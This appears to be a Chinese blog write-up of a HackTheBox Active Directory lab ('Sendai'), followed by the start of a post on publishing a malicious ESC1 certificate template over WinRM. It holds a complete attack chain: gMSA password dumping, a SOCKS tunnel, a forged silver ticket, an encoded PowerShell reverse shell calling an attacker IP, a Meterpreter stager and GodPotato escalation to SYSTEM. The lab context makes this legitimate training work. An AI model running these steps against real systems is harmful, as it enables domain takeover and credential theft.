└─$ bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" get object MGTSVC$ --attr msDS-ManagedPassword

distinguishedName: CN=mgtsvc,CN=Managed Service Accounts,DC=sendai,DC=vl
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:9ed35c68b88f35007aa32c14c1332ce7
msDS-ManagedPassword.B64ENCODED: MnRup9Cfg1yniZGnzaZM2tR8RVDOaG5abV/Z3wdvLW1+fLxXtQfra+OH3WUW0BmC9J1CUi2MKYeyfuiAcS16Q9d2BflORFv8jtQc2yE3Jo5OfPDcbOeYVLn9CWNZ+inVMQrf85QHomxbSAw5U440KhKnsGlZdTZ3CJ6hUoG2eFfPT57bn5C8/xXRx8tcwgHHUuQjChrve9rIzEPDFVD41vguikVetUgArPMvHjoLjg5Z1jrYqhMYUoS22Y3OcJhABJD4HCGNoqxegpm+1a6O5fDBbN6Zhfz62b9itG9QcwLyjrglBsdZZmEAqcFs9/Jfk3ZzeWzUWUWpwwyFUQsxug==

很简单对吧，接下来看看这个用户，猎犬的信息到此中断，但是我们拥有了winrm权限

提权

*Evil-WinRM* PS C:\Users> dir


    Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/18/2023   6:09 AM                Administrator
d-----         9/18/2025   5:21 AM                mgtsvc$
d-r---         7/11/2023  12:36 AM                Public
d-----         8/18/2025   5:05 AM                sqlsvc

在本地发现了数据库用户的桌面信息，可能是下一步，但是外部没开数据库，先留意一下

看看dpapi发现没有什么信息,页面更目录下面找到user.txt

*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/11/2023   5:56 AM                config
d-----         4/15/2025   8:20 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         4/15/2025   7:51 PM                Program Files
d-----         7/18/2023   6:11 AM                Program Files (x86)
d-----         7/18/2023  10:31 AM                sendai
d-----         7/11/2023   2:35 AM                SQL2019
d-r---         9/18/2025   5:21 AM                Users
d-----         8/18/2025   5:04 AM                Windows
-a----         4/15/2025   8:27 PM             32 user.txt


*Evil-WinRM* PS C:\> cat user.txt
fff335936142d21a6fa44123b897cd3e

看看smb有无额外信息

└─$ nxc smb $ip -u $user1 -H $hash1 --shares
SMB         10.129.234.66   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:sendai.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.66   445    DC               [+] sendai.vl\MGTSVC$:9ed35c68b88f35007aa32c14c1332ce7 
SMB         10.129.234.66   445    DC               [*] Enumerated shares
SMB         10.129.234.66   445    DC               Share           Permissions     Remark
SMB         10.129.234.66   445    DC               -----           -----------     ------
SMB         10.129.234.66   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.66   445    DC               C$                              Default share
SMB         10.129.234.66   445    DC               config          READ,WRITE      
SMB         10.129.234.66   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.66   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.234.66   445    DC               sendai          READ,WRITE      company share
SMB         10.129.234.66   445    DC               SYSVOL          READ            Logon server share 
SMB         10.129.234.66   445    DC               Users           READ

多出来了一个config日志可写可读，打开看一看发现是数据库密码

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ smbclient -U $user1 --pw-nt-hash //$ip/config $hash1
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Sep 18 08:43:26 2025
  ..                                DHS        0  Tue Apr 15 22:55:42 2025
  .sqlconfig                          A       78  Tue Jul 11 08:57:11 2023

		7019007 blocks of size 4096. 1187661 blocks available
smb: \> get .sql*
NT_STATUS_OBJECT_NAME_INVALID opening remote file \.sql*
smb: \> get .sqlconfig
getting file \.sqlconfig of size 78 as .sqlconfig (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> exit

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ cat .sqlconfig 
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;

没有对外开，所以传stowawy上去做个sock隧道

*Evil-WinRM* PS C:\Users\mgtsvc$\Documents> ./windows_x64_agent.exe -c 10.10.16.23:443 -s 123456
windows_x64_agent.exe : 2025/09/18 05:53:41 [*] Starting agent node actively.Connecting to 10.10.16.23:443
    + CategoryInfo          : NotSpecified: (2025/09/18 05:5...10.10.16.23:443:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
┌──(wackymaker㉿kali)-[~/tools/ad-tools/proxy/stowaway]
└─$ ./linux_x64_admin -l 0.0.0.0:443 -s 123456

[*] Starting admin node on port 0.0.0.0:443

    .-')    .-') _                  ('\ .-') /'  ('-.      ('\ .-') /'  ('-.                 
   ( OO ). (  OO) )                  '.( OO ),' ( OO ).-.   '.( OO ),' ( OO ).-.             
   (_)---\_)/     '._  .-'),-----. ,--./  .--.   / . --. /,--./  .--.   / . --. /  ,--.   ,--.
   /    _ | |'--...__)( OO'  .-.  '|      |  |   | \-.  \ |      |  |   | \-.  \    \  '.'  / 
   \  :' '. '--.  .--'/   |  | |  ||  |   |  |,.-'-'  |  ||  |   |  |,.-'-'  |  | .-')     /  
    '..'''.)   |  |   \_) |  |\|  ||  |.'.|  |_)\| |_.'  ||  |.'.|  |_)\| |_.'  |(OO  \   /   
   .-._)   \   |  |     \ |  | |  ||         |   |  .-.  ||         |   |  .-.  | |   /  /\_  
   \       /   |  |      ''  '-'  '|   ,'.   |   |  | |  ||   ,'.   |   |  | |  | '-./  /.__) 
    '-----'    '--'        '-----' '--'   '--'   '--' '--''--'   '--'   '--' '--'   '--'      
			            { v2.2  Author:ph4ntom }
[*] Waiting for new connection...
[*] Connection from node 10.129.234.66:57556 is set up successfully! Node id is 0
(admin) >> use 0
(node 0) >> socks 5555
[*] Trying to listen on 0.0.0.0:5555......
[*] Waiting for agent's response......
[*] Error: listen tcp: address tcp/5555: unknown port
(node 0) >> shell
[*] Waiting for response.....
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Users\mgtsvc$\Documents>whoami
whoami
sendai\mgtsvc$

C:\Users\mgtsvc$\Documents>exit
exit

(node 0) >> help
	help                                            Show help information
	status                                          Show node status,including socks/forward/backward
	listen                                          Start port listening on current node
	addmemo    <string>                             Add memo for current node
	delmemo                                         Delete memo of current node
	ssh        <ip:port>                            Start SSH through current node
	shell                                           Start an interactive shell on current node
	socks      <lport> [username] [pass]            Start a socks5 server
	stopsocks                                       Shut down socks services
	connect    <ip:port>                            Connect to a new node
	sshtunnel  <ip:sshport> <agent port>            Use sshtunnel to add the node into our topology
	upload     <local filename> <remote filename>   Upload file to current node
	download   <remote filename> <local filename>   Download file from current node
	forward    <lport> <ip:port>                    Forward local port to specific remote ip:port
	stopforward                                     Shut down forward services
	backward    <rport> <lport>                     Backward remote port(agent) to local port(admin)
	stopbackward                                    Shut down backward services
	shutdown                                        Terminate current node
	back                                            Back to parent panel
	exit                                            Exit Stowaway
  
(node 0) >> socks 5555
[*] Unknown Command!

	help                                            Show help information
	status                                          Show node status,including socks/forward/backward
	listen                                          Start port listening on current node
	addmemo    <string>                             Add memo for current node
	delmemo                                         Delete memo of current node
	ssh        <ip:port>                            Start SSH through current node
	shell                                           Start an interactive shell on current node
	socks      <lport> [username] [pass]            Start a socks5 server
	stopsocks                                       Shut down socks services
	connect    <ip:port>                            Connect to a new node
	sshtunnel  <ip:sshport> <agent port>            Use sshtunnel to add the node into our topology
	upload     <local filename> <remote filename>   Upload file to current node
	download   <remote filename> <local filename>   Download file from current node
	forward    <lport> <ip:port>                    Forward local port to specific remote ip:port
	stopforward                                     Shut down forward services
	backward    <rport> <lport>                     Backward remote port(agent) to local port(admin)
	stopbackward                                    Shut down backward services
	shutdown                                        Terminate current node
	back                                            Back to parent panel
	exit                                            Exit Stowaway
  
(node 0) >> socks 5555
[*] Trying to listen on 0.0.0.0:5555......
[*] Waiting for agent's response......
[*] Socks start successfully!
(node 0) >>

直接连接

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ proxychains4 impacket-mssqlclient -windows-auth $user2:$pass2@127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (SENDAI\sqlsvc  guest@master)> select @@servername
                
-------------   
DC\SQLEXPRESS   

SQL (SENDAI\sqlsvc  guest@master)> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name   permission_name     
-----------   -----------------   
server        CONNECT SQL         

server        VIEW ANY DATABASE   

SQL (SENDAI\sqlsvc  guest@master)>

当前权限不足，还是走捷径吧，懒得查数据库了，我们有密码直接打白银票据

获取域sid和服务账户hash
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nxc ldap $ip -u $user2 -p $pass2 --get-sid
LDAP        10.129.234.66   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:sendai.vl) (signing:None) (channel binding:Never) 
LDAP        10.129.234.66   389    DC               [+] sendai.vl\sqlsvc:SurenessBlob85 
LDAP        10.129.234.66   389    DC               Domain SID S-1-5-21-3085872742-570972823-736764132

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ echo sid=S-1-5-21-3085872742-570972823-736764132>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ iconv -f ASCII -t UTF-16LE <(printf "$pass2") | openssl dgst -md4
MD4(stdin)= 58655c0b90b2492f84fb46fa78c2d96a

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ echo hash2=58655c0b90b2492f84fb46fa78c2d96a>>start.sh 
制作票据
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ impacket-ticketer -spn MSSQLSvc/$FQDN -user-id 500 Administrator -nthash $hash2 -domain-sid $sid -domain $domain
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
/usr/share/doc/python3-impacket/examples/ticketer.py:141: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  aTime = timegm(datetime.datetime.utcnow().timetuple())
[*] Customizing ticket for sendai.vl/Administrator
/usr/share/doc/python3-impacket/examples/ticketer.py:600: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration))
/usr/share/doc/python3-impacket/examples/ticketer.py:718: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
/usr/share/doc/python3-impacket/examples/ticketer.py:719: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
/usr/share/doc/python3-impacket/examples/ticketer.py:843: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache

搞定，利用admin权限访问数据库

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ export KRB5CCNAME=Administrator.ccach

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ proxychains4 impacket-mssqlclient DC.sendai.vl -k -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (SENDAI\Administrator  dbo@master)>

还是没有xpcmd权限，但是只是没有开启，直接开启即可

SQL (SENDAI\Administrator  dbo@master)> EXEC sp_configure 'show advanced options',1;
INFO(DC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SENDAI\Administrator  dbo@master)> RECONFIGURE;
SQL (SENDAI\Administrator  dbo@master)> EXEC sp_configure 'xp_cmdshell',1;
INFO(DC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SENDAI\Administrator  dbo@master)> RECONFIGURE;
SQL (SENDAI\Administrator  dbo@master)> EXEC xp_cmdshell 'whoami'
output          
-------------   
sendai\sqlsvc   

NULL

利用powershell反弹shell回来

SQL (SENDAI\Administrator  dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.234.66] 57968
whoami
sendai\sqlsvc
PS C:\Windows\system32>

shell加强，上线msf,顺便利用msf进程迁移稳定一些

msf6 exploit(multi/handler) > 
[*] Started HTTPS reverse handler on https://10.10.16.23:4444
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Staging x64 payload (204892 bytes) ...
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] Session ID 1 (10.10.16.23:4444 -> 10.129.234.66:58076) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DC
[*] Current server process: shell.exe (3968)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 5208
[+] Successfully migrated into process 5208
[*] Meterpreter session 1 opened (10.10.16.23:4444 -> 10.129.234.66:58076) at 2025-09-18 09:26:51 -0400
sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 768 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\users\sqlsvc\Documents>whoami /all
whoami /all

USER INFORMATION
----------------

User Name     SID                                         
============= ============================================
sendai\sqlsvc S-1-5-21-3085872742-570972823-736764132-1104


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                                             Attributes                                        
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS                Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner    
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                                      


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

随便找个土豆提权，搞定

C:\users\sqlsvc\Documents>.\GodPotato-NET4.exe  -cmd "cmd /c C:\users\sqlsvc\Documents\shell.exe"
.\GodPotato-NET4.exe  -cmd "cmd /c C:\users\sqlsvc\Documents\shell.exe"
[*] CombaseModule: 0x140712362377216
[*] DispatchTable: 0x140712364964168
[*] UseProtseqFunction: 0x140712364257472
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\ee30b0eb-3444-427c-a150-41c7a1bf125d\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002002-0660-ffff-b35f-eef0a3c42949
[*] DCOM obj OXID: 0x535f01d97b4a2461
[*] DCOM obj OID: 0xeb87aa8a01016c28
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 924 Token:0x760  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5628
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Staging x64 payload (204892 bytes) ...
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] Session ID 2 (10.10.16.23:4444 -> 10.129.234.66:58176) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DC
[*] Current server process: shell.exe (1896)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2504

C:\users\sqlsvc\Documents>[+] Successfully migrated into process 2504
[*] Meterpreter session 2 opened (10.10.16.23:4444 -> 10.129.234.66:58176) at 2025-09-18 09:32:55 -0400
exity^H
exity
'exit' is not recognized as an internal or external command,
operable program or batch file.

C:\users\sqlsvc\Documents>exit
exit
meterpreter > exit
[*] Shutting down session: 1

[*] 10.129.234.66 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 2564 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\users\sqlsvc\Documents>whoami
whoami
nt authority\system

flag就在管理员目录，懒得放过来了

ca管理员权限解析及利用发布恶意模板攻击

Wed, 03 Sep 2025 18:42:12 +0800

本文导读

pki是一种公钥认证基础，用来实现证书的发布管理等，Microsof实现的PKI被称为 Active Directory证书服务（Active Directory Certificate ServicesAD CS）其在很大程度上受到安全社区的关注。

当我们在域渗透的过程中，经常会见到pki admin或者Certificate Managers这些组，无论是实战环境还是渗透比赛，这都意味着我们可以枚举域内存在漏洞的证书模板并加以利用。

但其实这种组都是域环境自建组，域环境并不具备默认的ca管理组（除了域管），这种环境中的自建组一般只会分配证书请求颁发发布的权限，也就意味着如果当前环境并不存在恶意模板，我们就不能利用对ca的全部掌控权限打黄金证书，所以我在思考这种攻击路径时意识到，只要存在这种自建组，其实我们完全具备权限发布恶意模板并请求证书，做到自己部署可攻击环境。这显而易见不是吗。证书服务管理组理应获得如此权限，但是当我尝试进行测试时发现，如果我们想发布恶意证书，就需要权限的同时还需要桌面交互会话，否则你无法操控证书管理certsrv.msc。所以本文的重点将放在：如何仅利用winrm会话发布并注册恶意模板并加以利用。我查找了中外很多文章，确定这条攻击路径目前没有人发布过，所以本文将详细描述一下这种攻击所需要的权限，以及具体的攻击手法，虽然其中涉及大量powershell语法。

恶意证书部署流程

首先可以看一下我现在目标靶机环境

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'wackadcs-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[!] Failed to get CA configuration for 'wackadcs-DC-CA' via RRP: Expected a bytes object for security descriptor, got <class 'str'>
[!] Use -debug to print a stacktrace
[!] Could not retrieve configuration for 'wackadcs-DC-CA'
[*] Checking web enrollment for CA 'wackadcs-DC-CA' @ 'dc.wackadcs.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : wackadcs-DC-CA
    DNS Name                            : dc.wackadcs.com
    Certificate Subject                 : CN=wackadcs-DC-CA, DC=wackadcs, DC=com
    Certificate Serial Number           : 19F9595699CD919E41F8D2620299CFA0
    Certificate Validity Start          : 2025-08-28 08:34:40+00:00
    Certificate Validity End            : 2030-08-28 08:44:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
Certificate Templates                   : [!] Could not find any certificate templates

可以看到证书服务配置正常，但是没有可以利用的证书

为了部署恶意证书我们能从微软的pki文档中了解证书发布的流程

首先我们需要准备一个恶意证书模板，我的目光首先放在了esc1模板上，这是一种在adcs中最易于攻击的模板，而微软的自签名模板以及一个证书模板需要如下5块信息

准备模板

基本信息中我们需要定义模板的名称以及类型标志版本，我简单配置如下

name	"ESC1"	#AD中对象的内部名字（用于引用）
displayName	"ESC1"	#CA界面显示名称
objectClass	"pKICertificateTemplate"	#LDAP对象类型，表示这是一个证书模板
flags	131616	#模板标志，控制模板行为（如允许导出私钥、自动注册等）
revision	100	#模板版本号，增加后表示模板有更新

OID和应用策略

oid是对象标识符，可以理解为一个全局唯一的标识信息，主要是msPKI-Certificate-Application-Policy属性中的值1.3.6.1.5.5.7.3.2代表了允许客户端验证

msPKI-Cert-Template-OID	"1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639",	#模板的唯一标识符，用于 CA 识别模板
msPKI-Certificate-Application-Policy	["1.3.6.1.5.5.7.3.2"]	#证书用途（EKU），这里 1.3.6.1.5.5.7.3.2 表示 客户端身份认证
msPKI-Certificate-Name-Flag	1	#控制 CN 名称如何生成（1 通常表示使用用户的主体名称）

密钥和名称加密

这一段是和正常模板一致的，可以随便导出一张证书复制过来或者ai生成

msPKI-Minimal-Key-Size	2048	#证书最小密钥长度
msPKI-Private-Key-Flag	16842752	#控制私钥属性（可导出、可签名、可加密等）
pKIDefaultCSPs	"3,Microsoft Base DSS Cryptographic Provider","2,Microsoft Base Cryptographic Provider v1.0","1,Microsoft Enhanced Cryptographic Provider v1.0"	#默认使用的加密服务提供者（CSP）
pKIDefaultKeySpec	2	#默认密钥用途（签名=1，加密=2，这里是加密）

生命周期和有效期

同上，找模板复制即可

pKIExpirationPeriod	[0,64,57,135,46,225,254,255]	#证书有效期，二进制编码表示
pKIOverlapPeriod	[0,128,166,10,255,222,255,255]	#证书续订重叠期，二进制表示
pKIMaxIssuingDepth	0	#最大颁发深度（0 = 无限

扩展属性

这段需要包含证书的关键扩展（Key Usage, Basic Constraints），以及重复指定pKIExtendedKeyUsage参数[“1.3.6.1.5.5.7.3.2”]表示此模板为客户端认证用途

pKICriticalExtensions	["2.5.29.15","2.5.29.7"]	#证书的关键扩展（Key Usage, Basic Constraints）
pKIExtendedKeyUsage	["1.3.6.1.5.5.7.3.2"]	#扩展密钥用途，重复指定客户端身份认证
msPKI-Enrollment-Flag	0	#注册标志（0 = 不自动注册）
msPKI-RA-Signature	0	#RA 签名属性，0 表示默认
msPKI-Template-Minor-Revision	4	#小版本号，用于模板升级
msPKI-Template-Schema-Version	2	#模板 schema 版本（AD 内部版本控制）

pkiadmin组权限构筑

现在为了发布这个模板让其能正常使用，我们需要进行如下三步

为这个模板创建对应的OID对象
创建证书模板（我们已经完成了这步）
发布模板到ca

为了完成前两种种操作，pkiadmin组分别需要对OID Container和Certificate Templates这两个容器有 CreateChild, WriteProperty权限，这表示了pkiadmin可以对证书模板以及oid设置有子类创建以及写入的权限，用于导入模板的使用

而一旦模板导入，我们需要其对ca的WriteProperty权限用于注册证书（注意这里WriteProperty权限即可，完全掌控就可以打黄金证书了，但是没有权限的话在后续会提示权限不足，我已经失败过很多次了）

我在一个配置好了域控及证书服务的环境当中创建了一个空白的pkiadmin组，并用了如下脚本分配了以上我提到的权限

# 获取配置命名上下文
